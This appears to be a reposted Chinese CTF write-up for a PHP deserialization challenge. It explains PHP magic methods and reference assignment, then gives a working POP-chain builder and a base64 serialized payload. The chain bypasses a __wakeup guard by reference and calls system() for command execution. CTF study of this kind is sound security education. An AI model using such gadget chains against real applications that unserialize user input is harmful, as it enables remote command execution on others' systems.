2022北京工业互联网安全大赛初赛-wakeup
- 使用引用&來給變量賦值
- php反序列化
這道題打的時(shí)候沒做出來,賽后看了別人的wp,看到是用引用來賦值,就自己復(fù)現(xiàn)出來了。
源碼
<?phpclass KeyPort {public function __call($name, $arguments){if(!isset($this->wakeup)||!$this->wakeup){call_user_func_array($this->format[$name],$arguments);}}public function finish(){$this->format=array();return $this->finish->iffinish;}public function __wakeup(){$this->wakeup=True;} }class ArrayObj{private $iffinish;public $name;public function __get($name){return $this->$name=$this->name[$name];} }class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}} }class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){} }if($_GET['u']){unserialize(base64_decode($_GET['u'])); }else{highlight_file(__FILE__); }首先要先了解一點(diǎn)基本知識(shí)
基本知識(shí)
1.魔法函數(shù)__destruct()、__wakeup()
__destruct
擁有這個(gè)的類的對(duì)象在反序列化時(shí),會(huì)先執(zhí)行此對(duì)象的__destruct再執(zhí)行此對(duì)象的成員屬性的值的__destruct
即先執(zhí)行外層再執(zhí)行內(nèi)層
__wakeup
擁有這個(gè)的類的對(duì)象在反序列化時(shí),會(huì)先執(zhí)行對(duì)象的成員屬性的值的__wakeup再執(zhí)行此對(duì)象的__wakeup
即先執(zhí)行內(nèi)層再執(zhí)行外層
eg:
class A{public $c;public function __destruct(){echo 'A',PHP_EOL;}public function __wakeup(){echo 'a',PHP_EOL;} } class SampleClass {public $a;public function __destruct(){echo 'S',PHP_EOL;}public function __wakeup(){echo 's',PHP_EOL;}} //$a=new SampleClass(); //$a->a=new A; $a='O:11:"SampleClass":1:{s:1:"a";O:1:"A":1:{s:1:"c";N;}}'; unserialize($a);輸出
a s S A2.php引用&賦值
在php中可以使用引用的方式來讓兩個(gè)變量名指向同一個(gè)內(nèi)存地址,這樣在對(duì)一個(gè)變量進(jìn)行操作的時(shí)候,另一個(gè)變量的值也會(huì)變
在函數(shù)中使用引用參數(shù)來修改傳入?yún)?shù)的值
eg:
function test (&$a){$x=&$a;$x='123'; } $x='11'; test($x); echo $x;輸出
123可以看見,函數(shù)外部的變量值也發(fā)生了改變
3.魔法函數(shù)__get、__call
__get
當(dāng)類的成員屬性被設(shè)定為 private 后,如果在類外部訪問這個(gè)成員屬性,那么就會(huì)觸發(fā)__get()
訪問不存在的成員屬性也會(huì)觸發(fā)__get
eg:
class C{private $a;public function __get($name){echo $name;} } $c=new C; echo $c->a; echo $c->b;輸出
ab__call
PHP5 的對(duì)象新增了一個(gè)專用方法 __call(),這個(gè)方法用來監(jiān)視一個(gè)對(duì)象中的其它方法。如果你試著調(diào)用一個(gè)對(duì)象中不存在或被權(quán)限控制中的方法,__call 方法將會(huì)被自動(dòng)調(diào)用。
<?php class foo { function __call($name,$arguments) { print("Did you call me? I'm $name!"); } } $x = new foo(); $x->doStuff(); $x->fancy_stuff(); ?> //Did you call me? I'm doStuff!Did you call me? I'm fancy_stuff!代碼審計(jì)
只看到了call_user_func_array可以利用
關(guān)鍵在于如何進(jìn)入__call且通過這個(gè)判斷
if(!isset($this->wakeup)||!$this->wakeup)要么不給wakeup賦值,要么控制wakeup為false
在反序列化后,會(huì)對(duì)KeyPort對(duì)象的wakeup進(jìn)行賦值
所以通過引用來在__wakeup執(zhí)行后還能對(duì)wakeup進(jìn)行賦值
首先觀察到有兩個(gè)類可以執(zhí)行__destruct
class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}} }class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){} }且都執(zhí)行$this->process->finish(),只是函數(shù)代碼不同
可以先讓一個(gè)返回false,另一個(gè)返回正常值
我們選擇讓SunCorpa的$this->process->finish()返回false
這里使用構(gòu)造器的方式弄鏈子,否則有點(diǎn)麻煩
POP
class KeyPort {} class MoonCorpa {} class ArrayObj{private $iffinish;public $name;public function __construct(&$a){$this->iffinish=&$a;} }class SunCorpa {public function __construct(){//第一部分,給wakeup賦值false$key=new KeyPort;$arr=new ArrayObj($key->wakeup);//使用這個(gè)方式讓ArrayObj::iffinish引用wakeup,因?yàn)樵诤竺鏁?huì)給ArrayObj::iffinish賦值,這樣KeyPort::wakeup也會(huì)變$arr->name=array('iffinish'=>false);$this->key=$key;$this->arr=$arr;$this->process=$this->key;$this->key->finish=$arr;//第一部分結(jié)束,$this->key->wakeup被賦值為false//第二部分,因?yàn)樵趫?zhí)行KetPort::finish()時(shí),其format會(huì)被賦值為空數(shù)組,導(dǎo)致無法執(zhí)行我們想要的函數(shù),所以使用引用的方法來給format賦值$key2=new KeyPort();$moon=new MoonCorpa();//使用這個(gè)類的__destruct來進(jìn)入到KeyPort的__call函數(shù)$this->moon=$moon;//讓MoonCorpa對(duì)象成為此對(duì)象的成員$this->key2=$key2;$this->moon->process=$key2;$arr2=new ArrayObj($key->format);//讓ArrayObj::iffinish引用$key->format$key2->finish=$arr2;$arr2->name=array('iffinish'=>array('forward'=>'system'));//給$key的format賦值為array('forward'=>'system')$this->moon->options=array('new'=>&$this->key);$this->moon->_forward='dir';//要執(zhí)行的命令 } $a=new SunCorpa(); echo base64_encode(serialize($a)); //Tzo4OiJTdW5Db3JwYSI6NTp7czozOiJrZXkiO086NzoiS2V5UG9ydCI6Mzp7czo2OiJ3YWtldXAiO047czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7UjozO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6ImZvcm1hdCI7Tjt9czozOiJhcnIiO3I6NDtzOjc6InByb2Nlc3MiO3I6MjtzOjQ6Im1vb24iO086OToiTW9vbkNvcnBhIjozOntzOjc6InByb2Nlc3MiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7Ujo3O3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjthOjE6e3M6NzoiZm9yd2FyZCI7czo2OiJzeXN0ZW0iO319fX1zOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mjt9czo4OiJfZm9yd2FyZCI7czo0OiJjYWxjIjt9czo0OiJrZXkyIjtyOjExO30=本地執(zhí)行
成功了,tmd
總結(jié)
以上是生活随笔為你收集整理的2022北京工业互联网安全大赛初赛-wakeup的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 上海2021年高考成绩排位查询,2021
- 下一篇: 03-MapStruct-基本的映射方法